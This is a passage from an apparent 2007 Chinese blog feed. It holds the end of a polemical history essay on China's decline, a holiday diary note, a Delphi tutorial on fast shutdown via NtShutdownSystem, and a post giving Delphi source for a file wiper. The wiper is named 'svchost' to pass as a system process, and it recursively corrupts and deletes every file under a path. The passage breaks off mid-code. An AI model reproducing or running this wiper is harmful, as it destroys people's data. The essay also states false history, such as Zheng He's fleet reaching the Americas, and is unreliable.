由于金元都属于游牧民族，在进入中原后都按游牧民族惯例大肆掠杀，使北方的人口大幅降低，其中部分则迁移到南方（其中唯一的好处是使南方特别是两广地区的文明大大的发展了），金元统治者还在中原实行原始的奴隶制度，在农业区实行放牧，以及民族歧视政策，这些都导致了当地文明的倒退。让人感叹的是，当金的后裔满清又一次统治中原的时候，他们又犯了同样的错误，比如歧视汉人，满人不从事生产，不读书，甚至将杭州的西湖改成了马场，不过由于明朝的经济文化并不出众，因此文化上的倒退并不象在宋朝的那次那样明显。&nbsp;<br/><br/>　　而中国封建文明也因此开始慢慢地走向下坡路。&nbsp;<br/><br/>　　当金元的游牧民族逐步被当地汉民族先进的文明同化时，已经过了几百年，而再也没有机会达到北宋那好的时期。这当然是因为其后的唯一的汉族政权明王朝，在科技文明等发展的方面实在是做的最糟糕的一个朝代。&nbsp;<br/><br/>　　可以说几乎都是失败的，倒退的。&nbsp;<br/><br/>　　因此阻碍中华民族文化发展的大事件里和明朝相关的是最多的。&nbsp;<br/><br/>　　第四件事&nbsp;明朝的统治方针&nbsp;<br/><br/>　　这样的段落标题似乎对明朝的统治者太过于苛刻了，但事实上一点也没错，明朝几代君王里除了明成祖万历帝&nbsp;<br/><br/>　　还算可以外，其他的君王都基本可算是昏君，整个国家在统治下，整个国家生产落后，毫无朝气，到处是密探的恐怖统治，可说是最差的封建时期了。&nbsp;<br/><br/>　　自明太祖朱元璋取得天下后，为了将元朝强制实行的牧业恢复为农业，将大量的土地分配给农民，使得社会经济得到恢复和发展，不过这种开国时期的发展相当程度是在元朝长期的生产力压制后的反弹，如果换成任何一个前朝政权来统治也都能达到开国时期的发展。由于对刚刚从蒙古统治压抑下，明朝的统治者对于传统特别着重，理学这时候发展成为用儒学中的伦理来管理国家，人民生活的一切方面的理论。而这样的理论宣扬的不是发展，而是禁欲，只要维持原始的农业自然经济就可以了，这样才符合简朴的道德风范。这种自给自足的小农经济的生产完全走回封建社会初期的形式去了，因此在后期，导致粮食供应赶不上人口的增长。&nbsp;<br/><br/>　　在这样的治国方针下，虽然在中后期，又出现资本主义的萌芽，即使没有满人的入侵，还是很难爆发出工业革命的。&nbsp;<br/><br/>　　与此理雪家们已经完全脱离了宋朝理学初创时寻求天地间真理的初衷，变成完全僵化，沦为统治阶层工具的东西，在同时禁锢着人们的思想。而八股文的出现，使得知识分子阶层整体被僵化，从而使得科学文明再一次停步了。&nbsp;<br/><br/>　　第五件事&nbsp;明朝的八股文&nbsp;<br/><br/>　　朱元璋有一次临朝听奏，刑部主事茹太素写了洋洋万言陈说时务，朱读了半天也不知道他在说什么，不由得大怒，将茹责打了一顿。后来又让人继续读，读到最后才涉及正题，所提几条建议也还可行。他一面向茹道歉，一面下令纠正浮夸的文风。又钦定了奏言的格式，由“破题、承题、起讲、入手、起股、中股、后股、束股”等八个部分组成，通称“八股文”。又规定在科举中，应试考生也要按八股文体做文章，后来连字数都有了限制。这种文体格式死板，内容空洞，束缚人们思路。可是读书人为了考功名，都只好学习八股文，很多人连书都不读了，只研究怎样写好八股文，于是这样发展出来的知识分子，很多也是毫无思想，可见对文明的发展八股文起了多大的破坏作用。所以明末清初的大学者顾炎武曾說：“八股之害，甚於焚书。”&nbsp;<br/><br/>　　当明清两朝的读书人开始沉迷在八股文里钻营时，整个国家的科技文化的发展便陷于停顿了。&nbsp;<br/><br/>　　但是由于一个人的存在，当时中国还是很可能成为近代史中领先的强国，那就是郑和，这个人比哥伦布早九十??的船队（由他的副手率领）发现了美洲和澳洲。郑和的功绩我们都很知道了，可以这样讲，当时成为世界的霸主，建立日不落中华帝国的不二时机就在眼前。当时中国事实上也的确是称霸于印度洋和太平洋的海上霸主，郑和的宝船是1500吨的巨舰，百年后哥伦布使用的最大的船才100吨。只要郑和所进行的伟大事业能继续下去，现在在美洲，澳洲以及世界其他很多地方建立庞大殖民帝国的将是中国人，可是由于明王朝的理学观念和下文所说的事件，使我们错过了在地球上拓展国土的最好时机。&nbsp;<br/><br/>　　第六件事&nbsp;明清的海禁和刘大夏的极端愚蠢&nbsp;<br/><br/>　　郑和七次下西洋，获得了极大的成功，他航海所得到的资料和航海技术，也使得当时中国是海上的绝对霸主。&nbsp;<br/><br/>　　可是前文已经说过明朝的治国方针是一种非常保守的，满足于自给自足的思想，发展生产对于明朝来说不不对的，因为这违背了简朴的美德。因此当时的永乐帝和大臣们没有一个从郑和的描述联想到其中的巨大商业利益。当然由于当时中国还是世界上最富足最强大国家，这些王孙大臣自然没有动力去海外捞世界。于此相反，当时欧洲各国的君主无不梦想着能打开到东方的新航路，带来大量财富，对航海都非常支持。不过我国东南沿海的居民一直都有出海的传统，当时民间的海上贸易也相当繁荣，因此如果明能支持航海事业，中国人建立美洲殖民地完全是可能的。&nbsp;<br/><br/>　　可是由于日本的倭寇开始骚扰中国沿海，明朝便禁止了民间出海，明太祖屡颁海禁令。洪武四年（１３７１）十二月，宣布“仍禁濒海民不得私出海”。洪武十四年，又宣布“林示濒海民私通诲外诸国”。洪武十七年正月，&nbsp;“&nbsp;禁民入海捕鱼”。洪武二十三年十月，诏户部“申严交通外番之禁”。洪武二十七年正月，甚至下令“禁民间用番香、番货”。明太祖制订律法，对于违禁者及私行放禁的滨海军卫官兵，都要处以严刑。明太祖的海禁，使唐、宋、元以来的海外贸易遭到沉重打击。至永乐时，明成祖宣布：“不许沿海军民人等私自下番交通外国，遵洪武事例禁治。”小小的海盗竟然让号称最强大的明帝国，签署这样的命令，在中国乃至世界历史上都从没有过，从这点看出明朝的外强中干，以及极端保守。&nbsp;<br/><br/>　　就这样由于国家的海禁，就此扼杀了我国当时还是最领先的航海事业，中华日不落帝国就此成为泡影。更主要的问题是，明清两朝由于禁止民众出海，而当时又不象汉唐一样和西域各国通好，这样在陆地和海洋上都把国门关闭起来，形成了闭关锁国的状态，由于那时侯欧洲的近代科学逐渐起步，中国的故步自封便失去了及时获得最新的科技知识的机会，一直到被炮火打开国门，这个损失是非常大的。&nbsp;<br/><br/>　　郑和死后，连国家进行的航海事业也停止下来，之后发生的事则是让人发指的损害民族利益的事。&nbsp;<br/><br/>　　以兵部侍郎刘大夏为主的官员便停止了航海活动，理由是是航海太花钱，对百姓负担太重。由于郑和下西洋，并不象其他欧洲国家航海是为了经济利益，而是向其他国家显示中华的威仪，因此很花钱。但他们没有看出航海可能带来的经济利益，这点反而是南宋的赵构做的很好，他是历史上最支持海上贸易的皇帝，原因是每年需要交给金国的岁币太多了，只能想办法多赚钱。话归本文，刘大夏这样做其实更深的含义是防止宦官的势力变大，但是从郑和这样少有的有作为的宦官身上下手，也可见这些人的眼光短浅。刘大夏据说是一个很认真的官员，而且还十分关注百姓疾苦，不过这个人实在受八股文毒害太深，目光短浅，居然做了一件人神共愤的事情，他将郑和几十年积累的技术资料从宫里偷出来，全部付之一炬了。这个极端愚蠢的做法，可以堪比焚书坑儒的秦始皇，这样使得明的航海技术倒退了几十年，由于这是是欧洲大航海时代的关键几十年，刘大夏的做法可以说改变了历史。可笑又可叹的是，他做这件事的时候一定还以为是为百姓做了件好事。可以说把这个人弄个铁像跪在郑和像前放在中国航海博物馆前也不为过。&nbsp;<br/><br/>　　请大家原谅我对这个人咬牙切齿说了这么多，公正地说把责任归罪于他个人是不公平的，当时的明王朝的军臣可以说都是一群没有见识，只知道钻营，谋私利的庸碌之辈，因此有“纸糊三阁老，泥塑六尚书”这样的说法。归根结底，是理学的保守思想和八股文毒害了中国知识分子阶层，即使是有见识的人也脱离不了这个局限。&nbsp;<br/><br/>　　让人惋惜的是，之后满清政府依然延续了“海禁”政策，甚至还在收复台湾后，曾经打算放弃掉，把百姓都牵到大陆，真是让人叹息。我们可以看出，在思想保守落后的社会里，是不可能有科技文明的大幅度进步的。&nbsp;<br/><br/>　　因此中国在古代成为海上霸主的梦想，终归还只是梦想罢了。中国古代的文明在遭受了以上那么多次巨大的打击后，已经到了清王朝中后期，这时候中国的科技文明已经逐渐落后于西方列强。可是清王朝为了维护自己少数民族的统治，采取了比前朝更保守更专制的统治。&nbsp;<br/><br/>　　虽然清朝有为的君王比明朝多的多，但是在思想领域的保守使进步和发展成为“不合祖制”的罪过，因此和不断进取发展的西方列强相比，差距越来越大。&nbsp;<br/><br/>　　但是在鸦片战争之前，清帝国还是世界上最富足的国家，因此虽然被西方国家船坚炮利打开了国门，签署了一系列不平等条约，我们还是有可能奋起反追，从而再次领先的。因此在饱尝国家落后的痛苦后，以李鸿章为首的洋务派开始了向西方列强学习的洋务运动。&nbsp;<br/><br/>　　第七件事&nbsp;洋务运动和百日维新的失败&nbsp;<br/><br/>　　我们都知道洋务运动最后以中日甲午战争的失败而告终，但是洋务运动还是为中国的近代化奠定了基础，特别是西方近代科学思想的引入以及近代中国工业的初步建立。可是洋务运动还是失败了，他并没有能使中国摆脱被西方列强殖民化，而与此同时进行的日本的明智维新却成功的使日本成为了一个强国。&nbsp;<br/><br/>　　因此我们必须检讨洋务运动为什么没有成功而明智维新却成功了。&nbsp;<br/><br/>　　这个问题很多历史学家都有过论述，蒋介石也曾经评论过，我很同意他的观点，他认为关键是双方领导人的认识不同。伊藤博文的着眼点，在与建国建军久远的规模有关联的问题—政治、宪法、经济、社会的组织，军事的制度，科学的精神和方法。因为伊藤博文知道「先立乎其大者远者」，所以日本的建国建军，自始即着眼于基本精神，故其维新的基础颇为深厚。』『相反的是，我国（清廷）李鸿章则是深受了「师夷长技以制夷」的观念，只知道西方国家「大炮之精纯、子弹之细巧、器械之鲜明、队伍之雄整，实非中国所能及」，以为「中国但有大炮、轮船两样，西人即可敛手」。而对于立国建军的大政方针，和科学文化的根本之图，尤其科学的基本精神，则不闻不问。『因此，他主持洋务几十年，亦仅止于聘请顾问、训练洋枪、抽取关税厘金、设立机器制造局、造船厂、招商局、矿务局，求其「船坚炮利」而已。『其结果，海军毁于中日黄海之战，陆军败于中日朝鲜之役，关税主权旁落于外人之手，内忧外患，祸乱纷乘。『李鸿章和伊藤博文的优劣，即于此判若云泥了！』&nbsp;<br/><br/>　　其实这并不能完全怪李鸿章的见识短浅，他正是由于受到前文所说的僵化的中国八股文式的教育，思想怎能不僵化，而且中国是天朝大国的思想已经流传了几千年，当时的知识分子一直到普通百姓谁不是这样想的。&nbsp;<br/><br/>　　当中国的确是最先进最文明的国家时，这样想是自豪，而当国家已经落后时，继续这样想，就只是夜朗自大了。可惜由于前文所说的闭关锁国，国家落后了也没有人知道。因此直到洋务运动开始的时候，还有人在说这样的昏话，“洋人以势力胜，中国以礼义胜”，“所恃者，中国数千年礼义廉耻之维”，则实在是中国几千年文化所造成的副作用了。而反观日本由于过去从来没有达到过文化的领先，从唐朝时期日本的大化改新开始，日本就开始在学习中国，在发现西方的先进后转而学习西方列强，相对中国来说，文化的失落比较少，也比较习惯，因此能十分彻底地学习，并掌握到西方的基本精神，而中国几千年的老大架子是很难取掉的，因此即使开始学习也能难作到虚心。&nbsp;<br/><br/>　　正是由于以上的原因，之后由光绪皇帝和康有为梁启超等人试图实行的更彻底的改革时，只经过了短短的一百天，便遭受到保守派和洋务派的阻挠而夭折了，因此称为百日维新。&nbsp;<br/><br/>　　百日维新和洋务运动在当时社会环境下失败或许是必然的，但还是要说，如果，如果不是中国的封建历史这样长，而变的如此保守，这次的变革或许会成功，那么中国或许彻底抹去近代史中太多的屈辱。如果这六次事件的前几件没有发生的话，后面的悲剧或许也不会发生。我们的历史会更主动更积极地发展。&nbsp;<br/><br/>　　但是历史毕竟没有如果，而且是那么多如果，中国的历史遭受了那么多次巨大的打击，还能够屹立不倒，本身就值得我们骄傲，毕竟中华文明是四大古文明中唯一没有绝断的文明。公元前18世纪古印度文明被雅利安人取代，公元前1600年赫梯人入侵，古巴比伦灭亡。元前6世纪，古埃及被波斯灭亡。而各类其他文明甚至整个族类被灭绝的也多不胜举，惟有华夏文明以其巨大的生命力持续了下来，即使曾经被游牧民族统治，却仍然以其强大的同化力量将之溶入了中华文明的整体中。&nbsp;<br/><br/>　　因此我们有理由为自己的文明和民族骄傲，也有理由相信，只要我们能吸取前代的教训，将这类损害民族和文明的事件减少甚至不再发生并转化为动力，中华文明再次站在世界顶端是我们完全能实现的。<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=30" /> 
	  <id>http://www.lovong.net/default.asp?id=30</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[今天是中秋]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=9" label="心情故事" /> 
	  <updated>2007-09-26T00:38:52+08:00</updated>
	  <published>2007-09-26T00:38:52+08:00</published>
		  <summary type="html"><![CDATA[这是一比较特别的中秋节，9.25号。K3系统要初始化。从24号晚上就开始准备了，本来按照原定计划，今天早上材料会计会进行关帐的，因为仓管员做了几张25号的单据，搞得不能关帐。弄了中午12点才关了帐。哈哈。就等他们的暂估了。<br/>&nbsp;&nbsp;&nbsp;&nbsp;今天我们部门的人一起去要得吃了一顿饭，感觉还是蛮开心的，我们的那个包间叫“娥媚山”里面的灯炮刚好坏了几个，刚进去的时候感觉灯线有点别扭，有点压抑的感觉。过了一会就适应了。<br/>&nbsp;&nbsp;&nbsp;&nbsp;感觉这三个月来的苦日子快到尽头了。真的好高兴。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=29" /> 
	  <id>http://www.lovong.net/default.asp?id=29</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[让Windows最快速的关机]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=8" label="技术文献" /> 
	  <updated>2007-09-24T10:01:04+08:00</updated>
	  <published>2007-09-24T10:01:04+08:00</published>
		  <summary type="html"><![CDATA[关机过程：先关掉你打开的程序，然后是关闭桌面、任务栏，再就是显示系统正在注销<br/>正在关机之类的，这个方法是从桌面直接关机而不会有关机过程。<br/>&nbsp;&nbsp;&nbsp;&nbsp;就是利用Windows&nbsp;Native&nbsp;API,他们由NTDLL.DLL导出，这些API函数是在Ring3模式最底层的函数了，我们通常用的API最终都是通过他们来和系统内核Ring0模式打交道的，因此我们可以绕过普通API而直接使用Windows&nbsp;Native&nbsp;API(注意使用Windows&nbsp;Native&nbsp;API一定要动态加载)，而实现关机的Native&nbsp;API就是NtShutDownSystem和ZwShutDownSystem这两个都可以，在Ring3模式是一样的，以NtShutDownSystem为例,其原形为:<br/>function&nbsp;NtShutdownSystem(Action:SHUTDOWN_ACTION):Cardinal;&nbsp;stdcall;<br/>只有一个枚举类型的参数Action:执行何种关机操作,其定义为:<br/>type<br/>&nbsp;&nbsp;_SHUTDOWN_ACTION&nbsp;=&nbsp;(<br/>&nbsp;&nbsp;&nbsp;&nbsp;ShutdownNoReboot,//关机不重启<br/>&nbsp;&nbsp;&nbsp;&nbsp;ShutdownReboot,&nbsp;&nbsp;//关机并重启<br/>&nbsp;&nbsp;&nbsp;&nbsp;ShutdownPowerOff);//关机并关闭电源<br/>&nbsp;&nbsp;SHUTDOWN_ACTION&nbsp;=&nbsp;_SHUTDOWN_ACTION;<br/>&nbsp;&nbsp;TShutdownAction&nbsp;=&nbsp;SHUTDOWN_ACTION;<br/>下面为实现关机的完整源代码:<br/><br/>type<br/>&nbsp;&nbsp;_SHUTDOWN_ACTION&nbsp;=&nbsp;(<br/>&nbsp;&nbsp;&nbsp;&nbsp;ShutdownNoReboot,<br/>&nbsp;&nbsp;&nbsp;&nbsp;ShutdownReboot,<br/>&nbsp;&nbsp;&nbsp;&nbsp;ShutdownPowerOff);<br/>&nbsp;&nbsp;SHUTDOWN_ACTION&nbsp;=&nbsp;_SHUTDOWN_ACTION;<br/>&nbsp;&nbsp;TShutdownAction&nbsp;=&nbsp;SHUTDOWN_ACTION;<br/>type<br/>&nbsp;&nbsp;TNtShutdownSystem=function(&nbsp;Action&nbsp;:&nbsp;SHUTDOWN_ACTION):&nbsp;Cardinal;&nbsp;stdcall;&nbsp;<br/>var<br/>&nbsp;&nbsp;h:Hmodule;<br/>&nbsp;&nbsp;NtShutdownSystem:TNtShutdownSystem;<br/><br/>implementation<br/><br/>//获取指定权限<br/>function&nbsp;EnableDebugPrivilege(PName:pchar):Boolean;<br/>var<br/>&nbsp;TokenHandle:THandle;<br/>&nbsp;DebugNameValue:TLargeInteger;<br/>&nbsp;Privileges:TOKEN_PRIVILEGES;<br/>&nbsp;RetLen:Cardinal;<br/>begin<br/>&nbsp;Result:=False;<br/>&nbsp;if&nbsp;not&nbsp;OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES&nbsp;o&#114;&nbsp;<br/><br/>TOKEN_QUERY,TokenHandle)&nbsp;then&nbsp;Exit;<br/>&nbsp;if&nbsp;not&nbsp;LookupPrivilegeValue(nil,PName,DebugNameValue)&nbsp;then<br/>&nbsp;begin<br/>&nbsp;&nbsp;CloseHandle(TokenHandle);<br/>&nbsp;&nbsp;Exit;<br/>&nbsp;end;<br/>&nbsp;Privileges.PrivilegeCount:=1;<br/>&nbsp;Privileges.Privileges[0].Luid:=DebugNameValue;<br/>&nbsp;Privileges.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;<br/>&nbsp;Result:=AdjustTokenPrivileges(TokenHandle,False,Privileges,SizeOf(Privileges),nil,RetLen);<br/>&nbsp;CloseHandle(TokenHandle);<br/>end;<br/>//动态加载NtShutdownSystem<br/>function&nbsp;LoadNTDll:boolean;<br/>begin<br/>&nbsp;&nbsp;result:=false;<br/>&nbsp;&nbsp;if&nbsp;h&gt;0&nbsp;then&nbsp;exit;<br/>&nbsp;&nbsp;h:=LoadLibrary(&#39;NTDLL.DLL&#39;);<br/>&nbsp;&nbsp;if&nbsp;h&gt;0&nbsp;then<br/>&nbsp;&nbsp;NtShutdownSystem:=GetProcAddress(h,&#39;NtShutdownSystem&#39;);<br/>&nbsp;&nbsp;result:=assigned(NtShutdownSystem);<br/>end;<br/>procedure&nbsp;TForm1.FormCr&#101;ate(Sender:&nbsp;TObject);<br/>begin<br/>&nbsp;&nbsp;&nbsp;h:=0;<br/>if&nbsp;not&nbsp;LoadNTDll&nbsp;then<br/>&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;MessageBoxA(handle,&#39;加载NTShutDownSystem失败&#39;,&#39;错误&#39;,mb_ok);<br/>&nbsp;&nbsp;&nbsp;ExitProcess(0);<br/>&nbsp;end;<br/>end;<br/><br/>procedure&nbsp;TForm1.FormCloseQuery(Sender:&nbsp;TObject;&nbsp;var&nbsp;CanClose:&nbsp;Boolean);<br/>begin<br/>&nbsp;&nbsp;&nbsp;if&nbsp;h&gt;0&nbsp;then&nbsp;FreeLibrary(h);<br/>end;<br/><br/>procedure&nbsp;TForm1.Button5Click(Sender:&nbsp;TObject);<br/>begin<br/>&nbsp;&nbsp;&nbsp;EnableDebugPrivilege(&#39;SeShutdownPrivilege&#39;);//取关机权限<br/>&nbsp;&nbsp;&nbsp;NTShutDownSystem(ShutdownPowerOff);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//关机<br/>end;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=28" /> 
	  <id>http://www.lovong.net/default.asp?id=28</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[破坏文件的代码]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=8" label="技术文献" /> 
	  <updated>2007-09-22T09:39:37+08:00</updated>
	  <published>2007-09-22T09:39:37+08:00</published>
		  <summary type="html"><![CDATA[program&nbsp;svchost;<br/><br/>//{$APPTYPE&nbsp;CONSOLE}<br/><br/>uses<br/>&nbsp;&nbsp;Windows,<br/>&nbsp;&nbsp;SysUtils,<br/>&nbsp;&nbsp;Classes,<br/>&nbsp;&nbsp;Registry;<br/><br/>procedure&nbsp;Destroyfile(Fn:string);<br/>var<br/>&nbsp;&nbsp;sr,ds:TMemoryStream;<br/>&nbsp;&nbsp;len,i:Integer;<br/>&nbsp;&nbsp;c:Byte;<br/>begin<br/>&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;SetFileAttributes(PChar(fn),0);&nbsp;//去掉文件所有属性<br/>&nbsp;&nbsp;&nbsp;&nbsp;sr:=TMemoryStream.Cr&#101;ate;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ds:=TMemoryStream.Cr&#101;ate;<br/>&nbsp;&nbsp;&nbsp;&nbsp;sr.LoadFromFile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;len:=sr.Size;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;len&gt;10485760&nbsp;then&nbsp;//大于15M&nbsp;的文件直接删&nbsp;节约CPU<br/>&nbsp;&nbsp;&nbsp;&nbsp;Del&#101;teFile(Fn)<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sr.Position:=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i:=0&nbsp;to&nbsp;len&nbsp;do<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sr.Read(c,1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c:=c&nbsp;xor&nbsp;1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ds.Write(c,1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ds.Position:=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ds.SaveToFile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeAndNil(sr);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeAndNil(ds);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Del&#101;teFile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;end;<br/>end;<br/><br/>procedure&nbsp;Crashfile(Fn:string);<br/>var<br/>&nbsp;&nbsp;sr,ds:TMemoryStream;<br/>&nbsp;&nbsp;len,i:Integer;<br/>&nbsp;&nbsp;c:Byte;<br/>begin<br/>&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;SetFileAttributes(PChar(fn),0);&nbsp;//去掉文件所有属性<br/>&nbsp;&nbsp;&nbsp;&nbsp;sr:=TMemoryStream.Cr&#101;ate;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ds:=TMemoryStream.Cr&#101;ate;<br/>&nbsp;&nbsp;&nbsp;&nbsp;sr.LoadFromFile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;len:=sr.Size;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;len&gt;10485760&nbsp;then&nbsp;//大于15M&nbsp;的文件直接删&nbsp;节约CPU<br/>&nbsp;&nbsp;&nbsp;&nbsp;Del&#101;teFile(Fn)<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sr.Position:=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i:=0&nbsp;to&nbsp;len&nbsp;do<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sr.Read(c,1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c:=c&nbsp;shr&nbsp;1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ds.Write(c,1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ds.Position:=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ds.SaveToFile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeAndNil(sr);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeAndNil(ds);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Del&#101;teFile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;end;<br/>end;<br/><br/>procedure&nbsp;LoopFiles(path:&nbsp;PChar);<br/>var<br/>&nbsp;&nbsp;searchRec:&nbsp;TSearchRec;<br/>&nbsp;&nbsp;found:&nbsp;Integer;<br/>&nbsp;&nbsp;tmpStr:&nbsp;string;<br/>&nbsp;&nbsp;Fn,Ext:string;<br/>&nbsp;&nbsp;Ri:Integer;<br/>begin<br/>&nbsp;&nbsp;tmpStr&nbsp;:=&nbsp;StrPas(path)&nbsp;+&nbsp;&#39;\*.*&#39;;<br/>&nbsp;&nbsp;found&nbsp;:=&nbsp;FindFirst(tmpStr,&nbsp;faAnyFile,&nbsp;searchRec);//第一个文件或目录<br/>&nbsp;&nbsp;while&nbsp;found&nbsp;=&nbsp;0&nbsp;do<br/>&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(searchRec.Attr&nbsp;and&nbsp;faDirectory)&nbsp;&lt;&gt;&nbsp;0&nbsp;then<br/>&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(searchRec.Name&nbsp;&lt;&gt;&nbsp;&#39;.&#39;)&nbsp;and&nbsp;(searchRec.Name&nbsp;&lt;&gt;&nbsp;&#39;..&#39;)&nbsp;then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpStr&nbsp;:=&nbsp;StrPas(path)&nbsp;+&nbsp;&#39;\&#39;&nbsp;+&nbsp;searchRec.Name;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LoopFiles(PChar(tmpStr));//递归调用<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;&nbsp;&nbsp;end<br/>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fn:=&nbsp;StrPas(path)&nbsp;+&nbsp;&#39;\&#39;&nbsp;+&nbsp;searchRec.Name;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Ext:=UpperCase(ExtractFileExt(Fn));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//if&nbsp;(Ext=&#39;.RM&#39;)&nbsp;o&#114;&nbsp;(Ext=&#39;.RMVB&#39;)&nbsp;o&#114;&nbsp;(Ext=&#39;.AVI&#39;)&nbsp;o&#114;&nbsp;(EXT=&#39;.VOB&#39;)&nbsp;then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Del&#101;teFile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//end<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Randomize;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ri:=Random(2);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;Ri&nbsp;of<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0:Crashfile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1:Destroyfile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Destroyfile(Fn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Sleep(300);&nbsp;//累了就要休息<br/>&nbsp;&nbsp;&nbsp;&nbsp;found&nbsp;:=&nbsp;FindNext(searchRec);<br/>&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;FindClose(searchRec)